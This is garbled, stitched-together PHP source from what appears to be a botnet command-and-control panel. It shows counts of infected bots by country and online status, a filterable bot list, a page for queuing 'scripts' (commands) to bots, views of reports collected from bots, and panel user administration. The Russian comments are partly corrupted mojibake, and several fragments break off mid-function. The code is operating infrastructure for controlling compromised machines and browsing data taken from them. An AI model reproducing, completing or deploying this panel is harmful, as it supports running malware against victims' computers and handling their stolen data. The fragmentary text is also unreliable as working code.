$reportsCount = 0; foreach ($reportsList as $table) { if ($mt = @mysql_fetch_row(mysqlQueryEx($table, "SELECT COUNT(*) FROM `{$table}`"))) { $reportsCount += $mt[0]; } } $output .= THEME_LIST_ROW_BEGIN . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', LNG_STATS_TOTAL_REPORTS), $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array(STAT_WIDTH, numberFormatAsInt($reportsCount)), $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1) . THEME_LIST_ROW_END; $i++; } $output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE; ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// $actionList = ''; if (!empty($userData['r_stats_main_reset'])) { $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&reset_newbots&botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE); } $output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList; //RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °. if (CURRENT_BOTNET != '') { $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; } //R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ. $commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : ''; $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeBegin(LNG_STATS, 0, 0, 0); echo $output; ThemeEnd(); ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // P ¤ † SѓRЅRєS ReRe. ////////////////////////////////////////////////// / / ///////////////////////////////////////////////
function getBotJsMenu($name) { $output = ''; $i = 0; foreach ($GLOBALS['botMenu'] as &$item) { if ($i++ != 0) { $output .= ', '; } if ($item[0] === 0) { $output .= '[0]'; } else { $output .= '[\'' . addJsSlashes(htmlEntitiesEx($item[1])) . '\', \'' . addJsSlashes(QUERY_SCRIPT_HTML . '?botsaction=' . htmlEntitiesEx(urlencode($item[0])) . '&bots[]=$0$') . '\']'; } } return 'var ' . $name . ' = [' . $output . '];'; }
$filter['ips'] = isset($_GET['ips']) ? $_GET['ips'] : ''; $filter['countries'] = isset($_GET['countries']) ? $_GET['countries'] : ''; $filter['nat'] = isset($_GET['nat']) ? intval($_GET['nat']) : 1; $filter['online'] = isset($_GET['online']) ? intval($_GET['online']) : 1; $filter['new'] = isset($_GET['new']) ? intval($_GET['new']) : 0; $filter['used'] = isset($_GET['used']) ? intval($_GET['used']) : 0; $filter['comment'] = isset($_GET['comment']) ? intval($_GET['comment']) : 0; foreach ($filter as $k => $i) { $fullQuery .= '&' . $k . '=' . urlencode($i); } /////////////////////////////////////////////////////////////////////////////////////////////////// // Определяем данные текущей сортировки. /////////////////////////////////////////////////////////////////////////////////////////////////// $fullQuery .= assocateSortMode(array('bot_id', 'botnet', 'bot_version', 'ipv4', 'country', 'rtime_online', 'net_latency', 'comment')); $jsSort = addJsSlashes($fullQuery); $jsPage = addJsSlashes($fullQuery); /////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = jsCheckAll('botslist', 'checkall', 'bots[]') . jsSetSortMode($jsSort) . "function changePage(p){window.location='{$jsPage}&page=' + p; return false;}"; /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание запроса. /////////////////////////////////////////////////////////////////////////////////////////////////// /* Касательно LOCATE(`ipv4`, `ipv4_list`). Способ имеет достаточно заметный косяк, но задумываясь о хоть каком-то выиграше в скорости, не думаю что его стоит лечить... Я думаю вероятность встретить такого сурового совпадения в диком интернете очень низка. Еще можно попробывать делить по модулю на 4... Что приведет к противоположному косяку... */ $q = array(); if ($filter['nat'] > 0) {
if ($v >= $filter['date1'] && $v <= $filter['date2']) { $datelist .= str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, htmlEntitiesEx(gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)))), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . '<div id="dt' . htmlentities($v) . '" class="botnet-search-results" data-date="' . $v . '">' . THEME_IMG_WAIT . THEME_STRING_ID_END . THEME_STRING_NEWLINE . THEME_STRING_NEWLINE . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; $js_datelist .= ($js_datelist == '' ? '' : ', ') . "['dt" . addJsSlashes($v) . "', '" . addJsSlashes(urlencode($v)) . "']"; } } $f = $filter; unset($f['date1']); unset($f['date2']); unset($f['date']); unset($f['plain']); $q = addJsSlashes(QUERY_STRING); foreach ($f as $k => $v) { $q .= '&' . addJsSlashes(urlencode($k)) . '=' . addJsSlashes(urlencode($v)); } $ajax_init = jsXmlHttpRequest('datehttp'); $ajax_err = addJsSlashes(str_replace('{TEXT}', LNG_REPORTS_DATE_ERROR, THEME_STRING_ERROR)); $js_script .= <<<JS_SCRIPT var datelist = [{$js_datelist}]; var datehttp = false; function stateChange(i){if(datehttp.readyState == 4) { var el = document.getElementById(datelist[i][0]); if(datehttp.status == 200 && datehttp.responseText.length > 1){ \tel.innerHTML = datehttp.responseText; \t/* [Infinite-scroll commented-out] \t install_infinite_scroller(); \t */ \t} else el.innerHTML = '{$ajax_err}';
} $actions .= THEME_DIALOG_ITEM_LISTBOX_END . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_ACTION_APPLY, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT); $actions = THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', $actions, THEME_DIALOG_ITEM_TEXT) . THEME_DIALOG_ROW_END; } //Вывод таблицы. $data .= THEME_VSPACE . str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('reportslist', QUERY_SCRIPT_HTML, ''), THEME_FORMGET_TO_NEW_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, sprintf(LNG_BOTNET_REPORTS, numberFormatAsInt($bots_count))), THEME_DIALOG_TITLE) . $page_list . $actions . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_LIST_BEGIN) . THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{NAME}', '{VALUE}', '{JS_EVENTS}', '{WIDTH}'), array(1, 'checkall', 1, ' onclick="checkAll()"', 'auto'), THEME_LIST_HEADER_CHECKBOX_1) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}', '{WIDTH}'), array(1, '#', 'auto'), THEME_LIST_HEADER_R) . writeSortColumn(LNG_BOTNET_REPORTS_RTIME, 0, 1) . writeSortColumn(LNG_BOTNET_REPORTS_TYPE, 1, 0) . writeSortColumn(LNG_BOTNET_REPORTS_BOTID, 2, 0) . writeSortColumn(LNG_BOTNET_REPORTS_VERSION, 3, 1) . writeSortColumn(LNG_BOTNET_REPORTS_REPORT, 4, 0) . THEME_LIST_ROW_END . $blist . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END . THEME_FORMGET_END; } themeSmall($is_view ? LNG_BOTNET_SCRIPT_EDIT : LNG_BOTNET_SCRIPT_NEW, $data, $js_script, getBotJsMenu('botmenu'), 0); die; } /////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $js_script = 0; if ($_allow_edit) { $js_script = jsCheckAll('scriptslist', 'checkall', 'scripts[]') . "function ExecuteAction(){return confirm('" . addJsSlashes(LNG_BOTNET_LIST_ACTION_Q) . "');}"; } /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списка команд. /////////////////////////////////////////////////////////////////////////////////////////////////// require_once 'system/lib/db.php'; require_once 'system/lib/guiutil.php'; $_GET['page'] = (int) (empty($_GET['page']) ? 1 : $_GET['page']); $PAGER = new Paginator($_GET['page'], 100, 1); $list = ''; if (!($r = mysqlQueryEx('botnet_scripts', 'SELECT SQL_CALC_FOUND_ROWS id, extern_id, name, flag_enabled, send_limit,
if (count($errors) > 0) { $data .= THEME_STRING_FORM_ERROR_1_BEGIN; foreach ($errors as $r) { $data .= $r . THEME_STRING_NEWLINE; } $data .= THEME_STRING_FORM_ERROR_1_END; } $data .= str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('edituser', QUERY_STRING_HTML . '&' . ($isEdit ? 'edit=' . htmlEntitiesEx(urlencode($_GET['edit'])) : 'new'), ''), THEME_FORMPOST_BEGIN) . str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, $isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW), THEME_DIALOG_TITLE) . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_NAME, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('name', $formName, 20, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_PASSWORD, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('password', $formPassword, 64, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_STATUS, THEME_DIALOG_ITEM_TEXT) . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace(array('{NAME}', '{WIDTH}'), array('status', 'auto'), THEME_DIALOG_ITEM_LISTBOX_BEGIN) . str_replace(array('{VALUE}', '{TEXT}'), array(0, LNG_SYS_STATUS_DISABLED), !$formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . str_replace(array('{VALUE}', '{TEXT}'), array(1, LNG_SYS_STATUS_ENABLED), $formEnabled ? THEME_DIALOG_ITEM_LISTBOX_ITEM_CUR : THEME_DIALOG_ITEM_LISTBOX_ITEM) . THEME_DIALOG_ITEM_LISTBOX_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{TEXT}', LNG_SYS_USER_COMMENT, THEME_DIALOG_ITEM_TEXT) . str_replace(array('{NAME}', '{VALUE}', '{MAX}', '{WIDTH}'), array('comment', $formComment, 250, USER_INPUT_TEXT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT) . THEME_DIALOG_ROW_END . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_GROUP_BEGIN) . $rightslist . THEME_DIALOG_GROUP_END . THEME_DIALOG_ROW_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ACTIONLIST_BEGIN) . str_replace(array('{TEXT}', '{JS_EVENTS}'), array($isEdit ? LNG_SYS_USER_ACTION_SAVE : LNG_SYS_USER_ACTION_NEW, ''), THEME_DIALOG_ITEM_ACTION_SUBMIT) . ($isEdit ? THEME_DIALOG_ITEM_ACTION_SEPARATOR . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_SYS_USER_ACTION_NEWT, ' onclick="window.location=\'' . QUERY_STRING_HTML . '&new=' . htmlEntitiesEx(urlencode($_GET['edit'])) . '\'"'), THEME_DIALOG_ITEM_ACTION) : '') . THEME_DIALOG_ACTIONLIST_END . THEME_DIALOG_END . THEME_FORMPOST_END; themeSmall($isEdit ? LNG_SYS_USER_EDIT : LNG_SYS_USER_NEW, $data, 0, 0, 0); die; } /////////////////////////////////////////////////////////////////////////////////////////////////// // JavaScript скрипты. /////////////////////////////////////////////////////////////////////////////////////////////////// $jsScript = 0; $jsQa = addJsSlashes(LNG_SYS_LIST_ACTION_Q); $jsScript = jsCheckAll('userslist', 'checkall', 'users[]') . "function ExecuteAction(){return confirm('{$jsQa}');}"; /////////////////////////////////////////////////////////////////////////////////////////////////// // Создание списка. /////////////////////////////////////////////////////////////////////////////////////////////////// $list = ''; if (!($r = mysqlQueryEx('cp_users', 'SELECT id, name, flag_enabled, comment FROM cp_users ORDER BY name ASC')) || @mysql_affected_rows() === 0) { $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_SYS_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END; } else { $i = 0; while ($mt = @mysql_fetch_row($r)) { $urlEdit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&edit=' . $mt[0], strlen($mt[1]) > 0 ? htmlEntitiesEx($mt[1]) : '-'), THEME_LIST_ANCHOR); $urlStatus = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&status=' . $mt[0] . '&enable=' . ($mt[2] > 0 ? 0 : 1), $mt[2] > 0 ? LNG_SYS_STATUS_ENABLED : LNG_SYS_STATUS_DISABLED), THEME_LIST_ANCHOR); $text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1; $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('users[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', $urlEdit), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('1%', $urlStatus), $text) . str_replace(array('{WIDTH}', '{TEXT}'), array('auto', strlen($mt[3]) > 0 ? htmlEntitiesEx($mt[3]) : '-'), $text) . THEME_LIST_ROW_END; $i++;